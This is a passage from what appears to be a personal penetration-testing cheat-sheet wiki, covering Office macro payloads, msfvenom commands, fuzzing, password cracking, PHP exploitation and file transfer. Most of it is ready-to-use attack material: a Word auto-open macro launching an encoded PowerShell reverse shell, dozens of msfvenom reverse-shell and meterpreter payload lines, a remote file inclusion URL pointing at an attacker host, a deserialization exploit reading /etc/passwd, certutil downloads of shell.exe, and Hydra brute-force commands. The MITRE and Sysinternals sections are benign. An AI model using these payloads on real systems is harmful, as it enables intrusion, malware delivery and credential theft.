&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
